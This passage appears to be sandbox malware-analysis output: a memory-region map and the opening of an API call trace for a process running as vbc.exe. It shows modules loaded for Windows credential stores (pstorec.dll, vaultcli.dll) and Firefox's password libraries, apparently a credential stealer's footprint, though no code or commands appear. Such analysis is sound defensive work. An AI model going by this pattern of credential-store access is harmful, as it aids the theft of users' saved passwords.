	        filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")

Region:
	              id = 1851
	        start_va = 0x758b0000
	          end_va = 0x758bbfff
	     entry_point = 0x758b0000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll")

Region:
	              id = 1852
	        start_va = 0x758d0000
	          end_va = 0x759c4fff
	     entry_point = 0x758d0000
	     region_type = mapped_file
	            name = "wininet.dll"
	        filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll")

Region:
	              id = 1853
	        start_va = 0x759d0000
	          end_va = 0x75a6ffff
	     entry_point = 0x759d0000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")

Region:
	              id = 1854
	        start_va = 0x75b00000
	          end_va = 0x75b9cfff
	     entry_point = 0x75b00000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")

Region:
	              id = 1855
	        start_va = 0x75ba0000
	          end_va = 0x75cd5fff
	     entry_point = 0x75ba0000
	     region_type = mapped_file
	            name = "urlmon.dll"
	        filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll")

Region:
	              id = 1856
	        start_va = 0x75db0000
	          end_va = 0x75faafff
	     entry_point = 0x75db0000
	     region_type = mapped_file
	            name = "iertutil.dll"
	        filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll")

Region:
	              id = 1857
	        start_va = 0x75fb0000
	          end_va = 0x7610bfff
	     entry_point = 0x75fb0000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")

Region:
	              id = 1858
	        start_va = 0x76110000
	          end_va = 0x76d59fff
	     entry_point = 0x76110000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")

Region:
	              id = 1859
	        start_va = 0x76dc0000
	          end_va = 0x76ebffff
	     entry_point = 0x76dc0000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")

Region:
	              id = 1860
	        start_va = 0x76ec0000
	          end_va = 0x76ed8fff
	     entry_point = 0x76ec0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")

Region:
	              id = 1861
	        start_va = 0x76ee0000
	          end_va = 0x76f6efff
	     entry_point = 0x76ee0000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")

Region:
	              id = 1862
	        start_va = 0x76fa0000
	          end_va = 0x7704bfff
	     entry_point = 0x76fa0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")

Region:
	              id = 1863
	        start_va = 0x770e0000
	          end_va = 0x771fcfff
	     entry_point = 0x770e0000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll")

Region:
	              id = 1864
	        start_va = 0x77230000
	          end_va = 0x77329fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000077230000"
	        filename = ""

Region:
	              id = 1865
	        start_va = 0x77330000
	          end_va = 0x7744efff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000077330000"
	        filename = ""

Region:
	              id = 1866
	        start_va = 0x77600000
	          end_va = 0x77609fff
	     entry_point = 0x77600000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")

Region:
	              id = 1867
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1868
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 1869
	        start_va = 0x460000
	          end_va = 0x5e7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000460000"
	        filename = ""

Region:
	              id = 1870
	        start_va = 0x75ce0000
	          end_va = 0x75dabfff
	     entry_point = 0x75ce0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")

Region:
	              id = 1871
	        start_va = 0x76d60000
	          end_va = 0x76dbffff
	     entry_point = 0x76d60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")

Region:
	              id = 1872
	        start_va = 0x20000
	          end_va = 0x20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000020000"
	        filename = ""

Region:
	              id = 1873
	        start_va = 0x30000
	          end_va = 0x30fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000030000"
	        filename = ""

Region:
	              id = 1874
	        start_va = 0x6f0000
	          end_va = 0x870fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000006f0000"
	        filename = ""

Region:
	              id = 1875
	        start_va = 0x880000
	          end_va = 0x1c7ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000880000"
	        filename = ""

Region:
	              id = 1876
	        start_va = 0x1d70000
	          end_va = 0x1d7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001d70000"
	        filename = ""

Region:
	              id = 1877
	        start_va = 0x1d80000
	          end_va = 0x1e7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001d80000"
	        filename = ""

Region:
	              id = 1878
	        start_va = 0x220000
	          end_va = 0x220fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000220000"
	        filename = ""

Region:
	              id = 1879
	        start_va = 0x1e80000
	          end_va = 0x214efff
	     entry_point = 0x1e80000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 1880
	        start_va = 0x74b70000
	          end_va = 0x74b85fff
	     entry_point = 0x74b70000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll")

Region:
	              id = 1881
	        start_va = 0x230000
	          end_va = 0x26bfff
	     entry_point = 0x230000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")

Region:
	              id = 1882
	        start_va = 0x230000
	          end_va = 0x26bfff
	     entry_point = 0x230000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")

Region:
	              id = 1883
	        start_va = 0x230000
	          end_va = 0x26bfff
	     entry_point = 0x230000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")

Region:
	              id = 1884
	        start_va = 0x230000
	          end_va = 0x26bfff
	     entry_point = 0x230000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")

Region:
	              id = 1885
	        start_va = 0x230000
	          end_va = 0x26bfff
	     entry_point = 0x230000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")

Region:
	              id = 1886
	        start_va = 0x74890000
	          end_va = 0x748cafff
	     entry_point = 0x74890000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")

Region:
	              id = 1887
	        start_va = 0x230000
	          end_va = 0x26ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000230000"
	        filename = ""

Region:
	              id = 1888
	        start_va = 0x2150000
	          end_va = 0x224ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002150000"
	        filename = ""

Region:
	              id = 1889
	        start_va = 0x73b80000
	          end_va = 0x73b8cfff
	     entry_point = 0x73b80000
	     region_type = mapped_file
	            name = "pstorec.dll"
	        filename = "\\Windows\\SysWOW64\\pstorec.dll" (normalized: "c:\\windows\\syswow64\\pstorec.dll")

Region:
	              id = 1890
	        start_va = 0x7efd8000
	          end_va = 0x7efdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efd8000"
	        filename = ""

Region:
	              id = 1891
	        start_va = 0x710f0000
	          end_va = 0x71103fff
	     entry_point = 0x710f0000
	     region_type = mapped_file
	            name = "atl.dll"
	        filename = "\\Windows\\SysWOW64\\atl.dll" (normalized: "c:\\windows\\syswow64\\atl.dll")

Region:
	              id = 1892
	        start_va = 0x73ba0000
	          end_va = 0x73babfff
	     entry_point = 0x73ba0000
	     region_type = mapped_file
	            name = "vaultcli.dll"
	        filename = "\\Windows\\SysWOW64\\vaultcli.dll" (normalized: "c:\\windows\\syswow64\\vaultcli.dll")

Region:
	              id = 1893
	        start_va = 0x2250000
	          end_va = 0x2350fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002250000"
	        filename = ""

Region:
	              id = 1894
	        start_va = 0x2250000
	          end_va = 0x2350fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002250000"
	        filename = ""

Region:
	              id = 1895
	        start_va = 0x2250000
	          end_va = 0x2350fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002250000"
	        filename = ""

Region:
	              id = 1896
	        start_va = 0x2250000
	          end_va = 0x2350fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002250000"
	        filename = ""

Region:
	              id = 1897
	        start_va = 0x2250000
	          end_va = 0x2401fff
	     entry_point = 0x2250000
	     region_type = mapped_file
	            name = "nss3.dll"
	        filename = "\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nss3.dll")

Region:
	              id = 1898
	        start_va = 0x2250000
	          end_va = 0x2401fff
	     entry_point = 0x2250000
	     region_type = mapped_file
	            name = "nss3.dll"
	        filename = "\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nss3.dll")

Region:
	              id = 1899
	        start_va = 0x70f50000
	          end_va = 0x71104fff
	     entry_point = 0x70f50000
	     region_type = mapped_file
	            name = "nss3.dll"
	        filename = "\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nss3.dll")

Region:
	              id = 1900
	        start_va = 0x70f10000
	          end_va = 0x70f41fff
	     entry_point = 0x70f10000
	     region_type = mapped_file
	            name = "winmm.dll"
	        filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll")

Region:
	              id = 1901
	        start_va = 0x73b80000
	          end_va = 0x73b86fff
	     entry_point = 0x73b80000
	     region_type = mapped_file
	            name = "wsock32.dll"
	        filename = "\\Windows\\SysWOW64\\wsock32.dll" (normalized: "c:\\windows\\syswow64\\wsock32.dll")

Region:
	              id = 1902
	        start_va = 0x75300000
	          end_va = 0x75334fff
	     entry_point = 0x75300000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll")

Region:
	              id = 1903
	        start_va = 0x75840000
	          end_va = 0x75845fff
	     entry_point = 0x75840000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll")

Region:
	              id = 1904
	        start_va = 0x70e50000
	          end_va = 0x70f0dfff
	     entry_point = 0x70e50000
	     region_type = mapped_file
	            name = "msvcr100.dll"
	        filename = "\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\msvcr100.dll")

Region:
	              id = 1905
	        start_va = 0x70e20000
	          end_va = 0x70e41fff
	     entry_point = 0x70e20000
	     region_type = mapped_file
	            name = "mozglue.dll"
	        filename = "\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\mozglue.dll")

Region:
	              id = 1906
	        start_va = 0x70db0000
	          end_va = 0x70e18fff
	     entry_point = 0x70db0000
	     region_type = mapped_file
	            name = "msvcp100.dll"
	        filename = "\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\msvcp100.dll")

Region:
	              id = 1907
	        start_va = 0x2250000
	          end_va = 0x23affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002250000"
	        filename = ""

Region:
	              id = 1908
	        start_va = 0x23b0000
	          end_va = 0x256ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000023b0000"
	        filename = ""

Region:
	              id = 1909
	        start_va = 0x2250000
	          end_va = 0x234ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002250000"
	        filename = ""

Region:
	              id = 1910
	        start_va = 0x2370000
	          end_va = 0x23affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002370000"
	        filename = ""

Region:
	              id = 1911
	        start_va = 0x23b0000
	          end_va = 0x24affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000023b0000"
	        filename = ""

Region:
	              id = 1912
	        start_va = 0x2560000
	          end_va = 0x256ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002560000"
	        filename = ""

Region:
	              id = 1913
	        start_va = 0x2400000
	          end_va = 0x24fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002400000"
	        filename = ""

Region:
	              id = 1914
	        start_va = 0x70d80000
	          end_va = 0x70da6fff
	     entry_point = 0x70d80000
	     region_type = mapped_file
	            name = "softokn3.dll"
	        filename = "\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\softokn3.dll")

Region:
	              id = 1915
	        start_va = 0x70d60000
	          end_va = 0x70d76fff
	     entry_point = 0x70d60000
	     region_type = mapped_file
	            name = "nssdbm3.dll"
	        filename = "\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nssdbm3.dll")

Region:
	              id = 1916
	        start_va = 0x270000
	          end_va = 0x270fff
	     entry_point = 0x270000
	     region_type = mapped_file
	            name = "tzres.dll"
	        filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll")

Region:
	              id = 1917
	        start_va = 0x280000
	          end_va = 0x286fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000280000"
	        filename = ""

Region:
	              id = 1918
	        start_va = 0x290000
	          end_va = 0x291fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000290000"
	        filename = ""

Region:
	              id = 1919
	        start_va = 0x2570000
	          end_va = 0x2962fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002570000"
	        filename = ""

Region:
	              id = 1920
	        start_va = 0x270000
	          end_va = 0x270fff
	     entry_point = 0x270000
	     region_type = mapped_file
	            name = "tzres.dll"
	        filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll")

Region:
	              id = 1921
	        start_va = 0x70d10000
	          end_va = 0x70d5efff
	     entry_point = 0x70d10000
	     region_type = mapped_file
	            name = "freebl3.dll"
	        filename = "\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\freebl3.dll")

Region:
	              id = 1922
	        start_va = 0x70d50000
	          end_va = 0x70d76fff
	     entry_point = 0x70d50000
	     region_type = mapped_file
	            name = "softokn3.dll"
	        filename = "\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\softokn3.dll")

Region:
	              id = 1923
	        start_va = 0x70d90000
	          end_va = 0x70da6fff
	     entry_point = 0x70d90000
	     region_type = mapped_file
	            name = "nssdbm3.dll"
	        filename = "\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nssdbm3.dll")

Region:
	              id = 1924
	        start_va = 0x70ca0000
	          end_va = 0x70ceefff
	     entry_point = 0x70ca0000
	     region_type = mapped_file
	            name = "freebl3.dll"
	        filename = "\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\freebl3.dll")


Thread:
	id = 161
	os_tid = 0xae0

	[0098.769] GetModuleHandleA (lpModuleName=0x0) returned 0x400000
	[0098.769] __set_app_type (_Type=0x2) 
	[0098.769] __p__fmode () returned 0x770431f4
	[0098.769] __p__commode () returned 0x770431fc
	[0098.769] __wgetmainargs (in: _Argc=0x18ff5c, _Argv=0x18ff60, _Env=0x18ff64, _DoWildCard=0, _StartInfo=0x18ff68 | out: _Argc=0x18ff5c, _Argv=0x18ff60, _Env=0x18ff64) returned 0
	[0098.770] _onexit (_Func=0x442d39) returned 0x442d39
	[0098.770] _onexit (_Func=0x442d4a) returned 0x442d4a
	[0098.770] _onexit (_Func=0x442d5b) returned 0x442d5b
	[0098.770] _onexit (_Func=0x442d7a) returned 0x442d7a
	[0098.770] _onexit (_Func=0x442dbb) returned 0x442dbb
	[0098.770] _onexit (_Func=0x442dcc) returned 0x442dcc
	[0098.770] GetStartupInfoW (in: lpStartupInfo=0x18ff10 | out: lpStartupInfo=0x18ff10*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0098.770] GetModuleHandleA (lpModuleName=0x0) returned 0x400000
	[0098.770] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x74d50000
	[0098.770] GetProcAddress (hModule=0x74d50000, lpProcName="InitCommonControlsEx") returned 0x74d56be6
	[0098.770] InitCommonControlsEx (picce=0x18f7c8) returned 1
	[0098.771] FreeLibrary (hLibModule=0x74d50000) returned 1
	[0098.771] LoadLibraryW (lpLibFileName="shell32.dll") returned 0x76110000
	[0098.771] GetProcAddress (hModule=0x76110000, lpProcName="SHGetSpecialFolderPathW") returned 0x76130468
	[0098.771] SetErrorMode (uMode=0x8001) returned 0x0
	[0098.771] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0098.771] EnumResourceTypesW (hModule=0x400000, lpEnumFunc=0x411f7e, lParam=0x0) returned 1
	[0098.771] EnumResourceNamesW (hModule=0x400000, lpType=0x1, lpEnumFunc=0x411ef8, lParam=0x0) returned 1
	[0098.771] FindResourceW (hModule=0x400000, lpName=0x1, lpType=0x1) returned 0x452598
	[0098.771] SizeofResource (hModule=0x400000, hResInfo=0x452598) returned 0x134
	[0098.771] LoadResource (hModule=0x400000, hResInfo=0x452598) returned 0x4527d8
	[0098.771] LockResource (hResData=0x4527d8) returned 0x4527d8
	[0098.772] EnumResourceNamesW (hModule=0x400000, lpType=0x2, lpEnumFunc=0x411ef8, lParam=0x0) returned 1
	[0098.772] FindResourceW (hModule=0x400000, lpName=0x68, lpType=0x2) returned 0x4525a8
	[0098.772] SizeofResource (hModule=0x400000, hResInfo=0x4525a8) returned 0x3e8
	[0098.772] LoadResource (hModule=0x400000, hResInfo=0x4525a8) returned 0x45290c
	[0098.772] LockResource (hResData=0x45290c) returned 0x45290c
	[0098.772] FindResourceW (hModule=0x400000, lpName=0x85, lpType=0x2) returned 0x4525b8
	[0098.772] SizeofResource (hModule=0x400000, hResInfo=0x4525b8) returned 0xd8
	[0098.772] LoadResource (hModule=0x400000, hResInfo=0x4525b8) returned 0x452cf4
	[0098.772] LockResource (hResData=0x452cf4) returned 0x452cf4
	[0098.772] FindResourceW (hModule=0x400000, lpName=0x86, lpType=0x2) returned 0x4525c8
	[0098.772] SizeofResource (hModule=0x400000, hResInfo=0x4525c8) returned 0xd8
	[0098.772] LoadResource (hModule=0x400000, hResInfo=0x4525c8) returned 0x452dcc
	[0098.772] LockResource (hResData=0x452dcc) returned 0x452dcc
	[0098.772] EnumResourceNamesW (hModule=0x400000, lpType=0x3, lpEnumFunc=0x411ef8, lParam=0x0) returned 1
	[0098.772] FindResourceW (hModule=0x400000, lpName=0x2, lpType=0x3) returned 0x4525d8
	[0098.772] SizeofResource (hModule=0x400000, hResInfo=0x4525d8) returned 0x10a8
	[0098.772] LoadResource (hModule=0x400000, hResInfo=0x4525d8) returned 0x452ea4
	[0098.772] LockResource (hResData=0x452ea4) returned 0x452ea4
	[0098.772] FindResourceW (hModule=0x400000, lpName=0x3, lpType=0x3) returned 0x4525e8
	[0098.772] SizeofResource (hModule=0x400000, hResInfo=0x4525e8) returned 0x468
	[0098.772] LoadResource (hModule=0x400000, hResInfo=0x4525e8) returned 0x453f4c
	[0098.772] LockResource (hResData=0x453f4c) returned 0x453f4c
	[0098.772] FindResourceW (hModule=0x400000, lpName=0x4, lpType=0x3) returned 0x4525f8
	[0098.772] SizeofResource (hModule=0x400000, hResInfo=0x4525f8) returned 0x468
	[0098.772] LoadResource (hModule=0x400000, hResInfo=0x4525f8) returned 0x4543b4
	[0098.772] LockResource (hResData=0x4543b4) returned 0x4543b4
	[0098.772] FindResourceW (hModule=0x400000, lpName=0x5, lpType=0x3) returned 0x452608
	[0098.772] SizeofResource (hModule=0x400000, hResInfo=0x452608) returned 0x468
	[0098.772] LoadResource (hModule=0x400000, hResInfo=0x452608) returned 0x45481c
	[0098.772] LockResource (hResData=0x45481c) returned 0x45481c
	[0098.772] FindResourceW (hModule=0x400000, lpName=0x6, lpType=0x3) returned 0x452618
	[0098.772] SizeofResource (hModule=0x400000, hResInfo=0x452618) returned 0x468
	[0098.772] LoadResource (hModule=0x400000, hResInfo=0x452618) returned 0x454c84
	[0098.772] LockResource (hResData=0x454c84) returned 0x454c84
	[0098.772] FindResourceW (hModule=0x400000, lpName=0x7, lpType=0x3) returned 0x452628
	[0098.772] SizeofResource (hModule=0x400000, hResInfo=0x452628) returned 0x468
	[0098.772] LoadResource (hModule=0x400000, hResInfo=0x452628) returned 0x4550ec
	[0098.772] LockResource (hResData=0x4550ec) returned 0x4550ec
	[0098.772] FindResourceW (hModule=0x400000, lpName=0x8, lpType=0x3) returned 0x452638
	[0098.772] SizeofResource (hModule=0x400000, hResInfo=0x452638) returned 0x468
	[0098.772] LoadResource (hModule=0x400000, hResInfo=0x452638) returned 0x455554
	[0098.772] LockResource (hResData=0x455554) returned 0x455554
	[0098.773] EnumResourceNamesW (hModule=0x400000, lpType=0x4, lpEnumFunc=0x411ef8, lParam=0x0) returned 1
	[0098.773] FindResourceW (hModule=0x400000, lpName=0x66, lpType=0x4) returned 0x452648
	[0098.773] SizeofResource (hModule=0x400000, hResInfo=0x452648) returned 0x36c
	[0098.773] LoadResource (hModule=0x400000, hResInfo=0x452648) returned 0x4559bc
	[0098.773] LockResource (hResData=0x4559bc) returned 0x4559bc
	[0098.773] FindResourceW (hModule=0x400000, lpName=0x68, lpType=0x4) returned 0x452658
	[0098.773] SizeofResource (hModule=0x400000, hResInfo=0x452658) returned 0x1f4
	[0098.773] LoadResource (hModule=0x400000, hResInfo=0x452658) returned 0x455d28
	[0098.773] LockResource (hResData=0x455d28) returned 0x455d28
	[0098.773] EnumResourceNamesW (hModule=0x400000, lpType=0x5, lpEnumFunc=0x411ef8, lParam=0x0) returned 1
	[0098.773] FindResourceW (hModule=0x400000, lpName=0x69, lpType=0x5) returned 0x452668
	[0098.773] SizeofResource (hModule=0x400000, hResInfo=0x452668) returned 0xa2
	[0098.773] LoadResource (hModule=0x400000, hResInfo=0x452668) returned 0x455f1c
	[0098.773] LockResource (hResData=0x455f1c) returned 0x455f1c
	[0098.773] FindResourceW (hModule=0x400000, lpName=0x6b, lpType=0x5) returned 0x452678
	[0098.773] SizeofResource (hModule=0x400000, hResInfo=0x452678) returned 0x296
	[0098.773] LoadResource (hModule=0x400000, hResInfo=0x452678) returned 0x455fc0
	[0098.773] LockResource (hResData=0x455fc0) returned 0x455fc0
	[0098.773] FindResourceW (hModule=0x400000, lpName=0x6e, lpType=0x5) returned 0x452688
	[0098.773] SizeofResource (hModule=0x400000, hResInfo=0x452688) returned 0x58a
	[0098.773] LoadResource (hModule=0x400000, hResInfo=0x452688) returned 0x456258
	[0098.773] LockResource (hResData=0x456258) returned 0x456258
	[0098.773] FindResourceW (hModule=0x400000, lpName=0x70, lpType=0x5) returned 0x452698
	[0098.773] SizeofResource (hModule=0x400000, hResInfo=0x452698) returned 0xfa
	[0098.773] LoadResource (hModule=0x400000, hResInfo=0x452698) returned 0x4567e4
	[0098.773] LockResource (hResData=0x4567e4) returned 0x4567e4
	[0098.773] FindResourceW (hModule=0x400000, lpName=0x448, lpType=0x5) returned 0x4526a8
	[0098.773] SizeofResource (hModule=0x400000, hResInfo=0x4526a8) returned 0x336
	[0098.773] LoadResource (hModule=0x400000, hResInfo=0x4526a8) returned 0x4568e0
	[0098.773] LockResource (hResData=0x4568e0) returned 0x4568e0
	[0098.773] EnumResourceNamesW (hModule=0x400000, lpType=0x6, lpEnumFunc=0x411ef8, lParam=0x0) returned 1
	[0098.773] FindResourceW (hModule=0x400000, lpName=0x1, lpType=0x6) returned 0x4526b8
	[0098.773] SizeofResource (hModule=0x400000, hResInfo=0x4526b8) returned 0x234
	[0098.773] LoadResource (hModule=0x400000, hResInfo=0x4526b8) returned 0x456c18
	[0098.773] LockResource (hResData=0x456c18) returned 0x456c18
	[0098.773] FindResourceW (hModule=0x400000, lpName=0x20, lpType=0x6) returned 0x4526c8
	[0098.773] SizeofResource (hModule=0x400000, hResInfo=0x4526c8) returned 0x138
	[0098.773] LoadResource (hModule=0x400000, hResInfo=0x4526c8) returned 0x456e4c
	[0098.773] LockResource (hResData=0x456e4c) returned 0x456e4c
	[0098.773] FindResourceW (hModule=0x400000, lpName=0x23, lpType=0x6) returned 0x4526d8
	[0098.773] SizeofResource (hModule=0x400000, hResInfo=0x4526d8) returned 0x58
	[0098.773] LoadResource (hModule=0x400000, hResInfo=0x4526d8) returned 0x456f84
	[0098.773] LockResource (hResData=0x456f84) returned 0x456f84
	[0098.773] FindResourceW (hModule=0x400000, lpName=0x26, lpType=0x6) returned 0x4526e8
	[0098.773] SizeofResource (hModule=0x400000, hResInfo=0x4526e8) returned 0xe8
	[0098.773] LoadResource (hModule=0x400000, hResInfo=0x4526e8) returned 0x456fdc
	[0098.773] LockResource (hResData=0x456fdc) returned 0x456fdc
	[0098.774] FindResourceW (hModule=0x400000, lpName=0x27, lpType=0x6) returned 0x4526f8
	[0098.774] SizeofResource (hModule=0x400000, hResInfo=0x4526f8) returned 0x74
	[0098.774] LoadResource (hModule=0x400000, hResInfo=0x4526f8) returned 0x4570c4
	[0098.774] LockResource (hResData=0x4570c4) returned 0x4570c4
	[0098.774] FindResourceW (hModule=0x400000, lpName=0x3f, lpType=0x6) returned 0x452708
	[0098.774] SizeofResource (hModule=0x400000, hResInfo=0x452708) returned 0xba
	[0098.774] LoadResource (hModule=0x400000, hResInfo=0x452708) returned 0x457138
	[0098.774] LockResource (hResData=0x457138) returned 0x457138
	[0098.774] FindResourceW (hModule=0x400000, lpName=0x52, lpType=0x6) returned 0x452718
	[0098.774] SizeofResource (hModule=0x400000, hResInfo=0x452718) returned 0x68
	[0098.774] LoadResource (hModule=0x400000, hResInfo=0x452718) returned 0x4571f4
	[0098.774] LockResource (hResData=0x4571f4) returned 0x4571f4
	[0098.774] EnumResourceNamesW (hModule=0x400000, lpType=0x9, lpEnumFunc=0x411ef8, lParam=0x0) returned 1
	[0098.774] FindResourceW (hModule=0x400000, lpName=0x67, lpType=0x9) returned 0x452728
	[0098.774] SizeofResource (hModule=0x400000, hResInfo=0x452728) returned 0x48
	[0098.774] LoadResource (hModule=0x400000, hResInfo=0x452728) returned 0x45725c
	[0098.774] LockResource (hResData=0x45725c) returned 0x45725c
